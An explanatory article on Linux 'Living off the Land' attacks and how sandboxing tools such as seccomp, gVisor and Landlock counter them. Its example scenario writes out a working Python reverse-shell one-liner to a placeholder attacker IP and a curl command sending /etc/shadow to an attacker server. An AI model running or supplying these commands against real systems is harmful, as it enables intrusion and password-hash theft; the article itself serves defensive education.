Security - Living off the Land (LotL)

Living off the Land (LotL) is a strategy where an attacker carries out a breach using only the standard binaries and scripting languages already present on a Linux distribution (like bash, python, curl, or ssh).

In the Linux world, these tools are often referred to as GTFOBins (derived from the idea of using legitimate binaries to bypass local security restrictions).

Common Linux "Tools of the Trade" (LOLBins)

Attackers use these everyday admin tools to perform malicious actions:

• curl & wget: Normally used to download files or interact with APIs. Attackers use them to "drop" payloads from a remote server or exfiltrate sensitive data to their own cloud storage.
• python, perl, or ruby: Almost every Linux server has at least one of these installed. Attackers use them to write "fileless" reverse shells—scripts that run entirely in RAM and connect the server back to the attacker’s machine.
• base64: A standard utility for encoding data. Attackers use it to hide (obfuscate) malicious scripts within a command so that simple text-based security logs don't trigger an alarm for keywords like "attack" or "payload."
• cron & systemd: System scheduling tools. Attackers use them to create persistence, ensuring that even if the server reboots, their malicious script starts up again automatically.
• find: A search utility. Believe it or not, find has an -exec flag that allows it to execute commands. If find has improper permissions (SUID), an attacker can use it to escalate themselves to "Root" access.

A Real-World Linux LotL Scenario

Instead of uploading a massive virus file, an attacker who gains a small foothold on a Linux server might do the following:

1. The Entry: The attacker exploits a vulnerability in a web app to run a single line of code.
2. The Reverse Shell (Fileless): They run this command to get a full terminal: python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER_IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
   • Result: This uses the legitimate Python interpreter to create a network connection. No "malware" was ever downloaded to the disk.
3. Data Exfiltration: To steal the /etc/shadow file (which contains password hashes), they use ssh or curl: curl -F "file=@/etc/shadow" https://attacker-server.com/upload
   • Result: To a firewall, this looks like a normal outbound web request.
4. Persistence: They add a line to the user's .bashrc file so that every time the admin logs in, a new reverse shell is sent to the attacker.

Why Linux LotL is Hard to Stop

• Signatureless: There is no "virus file" for an antivirus to find. The "virus" is just a string of text passed to bash.
• Standard Behavior: It is very difficult for a security tool to distinguish between a System Administrator using curl to download a patch and a hacker using curl to download a rootkit.
• Encryption: Using ssh to steal data encrypts the traffic, meaning network monitors can't see what is being stolen.

How Sandboxing (gVisor/Sandbox2) Defeats LotL

Standard Linux security struggles with LotL, but advanced sandboxing changes the game:

• System Call Filtering (seccomp-bpf): Even if an attacker uses the legitimate python binary, a sandbox like Sandbox2 can say: "This specific Python process is allowed to do math, but it is forbidden from using the connect() system call." This instantly breaks the reverse shell.
• Filesystem Virtualization (gVisor): If an attacker uses curl to try and steal /etc/shadow, gVisor's Sentry can provide a "fake" version of that file or simply block access to it. The curl binary is "trusted," but it is trapped in a room where it can't see the sensitive data.
• Landlock (Linux-specific): This is a newer Linux security module that allows a process to sandbox itself. A developer can write a program that says, "Once I start, I am 'dropping' my ability to use the network or open any files outside of /tmp." This renders LotL tools useless even if an attacker takes over the process.

Summary

In Linux, Living off the Land turns the OS's own versatility into a weapon. Attackers don't bring their own code; they just use your bash, python, and network tools in ways you didn't intend. To stop it, you must move beyond "detecting bad files" and start "restricting allowed behaviors" using sandboxing.